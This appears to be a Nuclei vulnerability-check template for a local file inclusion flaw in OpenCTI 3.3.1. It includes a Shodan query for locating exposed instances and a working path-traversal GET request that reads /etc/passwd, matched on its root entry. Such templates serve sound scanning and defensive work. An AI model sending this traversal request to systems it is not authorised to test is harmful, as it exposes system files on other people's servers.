id: opencti-lfi

info:
  name: OpenCTI 3.3.1 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: OpenCTI 3.3.1 is vulnerable to local file inclusion.
  reference:
    - https://cxsecurity.com/issue/WLB-2020060078
    - https://github.com/OpenCTI-Platform/opencti/releases/tag/3.3.1
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
    cpe: cpe:2.3:a:citeum:opencti:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"OpenCTI"
    product: opencti
    vendor: citeum
  tags: opencti,lfi,oss

http:
  - method: GET
    path:
      - "{{BaseURL}}/static/css//../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 490a0046304402201424bcb934aaab6418363024e5689d38c858804157f062ed73ef73be5cd0bbb902207b2f04cdc6edaeb8ac6a302e93e6cb317600d33a86c5c99696667cb73353a2ed:922c64590222798bb761d5b6d8e72950